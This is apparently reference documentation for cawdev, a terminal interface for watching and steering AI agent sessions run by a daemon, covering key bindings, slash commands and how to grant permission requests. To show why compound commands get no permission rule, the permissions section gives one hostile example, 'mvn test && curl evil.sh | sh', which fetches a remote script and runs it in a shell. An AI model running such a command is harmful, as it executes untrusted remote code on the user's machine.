The attached terminal

Running cawdev attaches you to a daemon’s live view: every session it’s running, printed into your terminal’s own scrollback, with a footer for status and input. This page is the key reference.

Watching sessions

Key	Does
1–9	Jump to that numbered session
L (or l)	Open the run list — every session on this machine, live, claiming, or queued
g	Toggle between the session’s own transcript and the daemon’s log
enter (or i)	Start typing a prompt to the session you’re watching
/	Start typing a slash command
q	Quit — asks twice while sessions are running
ctrl+c	Once: cancel whatever’s open (a picker, a line). Twice: quit.

Quitting stops the daemon too — one word started it, one key stops it. Pass --leave-running when you launch cawdev to keep the daemon up after you detach; then quitting only closes this window.

Slash commands

Command	Does
/help	This list
/login	Sign in through the browser
/logout	Forget the stored session on this machine
/runs	The run list — same as L
/config	This machine’s config — same as c
/cancel	Cancel the session you’re watching
/log	Toggle the daemon’s own log — same as g
/quit	Stop the runner and leave (--leave-running keeps it up)

Configuring this machine without leaving

c opens the same menu as cawdev config on the command line — add a project, add a workspace, enable or disable an agent, turn acceptsRulesFromConsole on or off, or just show the config. Every change writes the config file; a daemon already running is told to restart if the change needs one.

Answering a question

a answers the question the session you’re watching has stopped on — only when it’s yours to answer (R58: a question belongs to whoever started the run, plus any project owner). If the session offered options, you get a picker whose last row is always write my own answer; press Esc from there to go back to the list rather than losing what you typed. With no options, a goes straight to a line.

A session blocked on a question cannot read a prompt — pressing enter while one is open tells you to press a instead, rather than swallowing what you type.

Deciding a permission request

When a session stops to ask permission for something, four keys are on offer — never more than that, because a terminal has one key per idea and a grant that gets cut short mid-sentence is a promise nobody made:

Key	Grants	Lasts
y	Just this one call	Once
s	The whole tool, or the suggested pattern (e.g. Bash(mvn *))	For the rest of this session
Y	The suggested pattern, or — for a command with no wildcard shape — the exact command	As a project rule, written to the platform
M	The same pattern	As a rule for every project this machine ever runs
n	Refuses, and asks why	—

Y and M only appear when there’s a pattern to write — a compound shell command (mvn test && curl evil.sh | sh) gets no suggested rule at all, on purpose, and s is the widest either of those can ever be handed.

M only appears when this machine’s config has "acceptsRulesFromConsole": true — see Permissions and the shield for what turning that on actually means. Press it without that setting and the terminal tells you what to add rather than pretending it worked.

Two URLs

--url (or CAWDEV_URL) says where you sign in — a browser question. The config’s url says what this machine is called, and therefore the key its token is filed under. They usually agree; in development the console and the API it proxies to are on different ports, and a browser needs the console’s to get a sign-in page at all. cawdev says so out loud whenever the two differ, because a token minted at one and filed under the other is a live credential nothing will ever find again.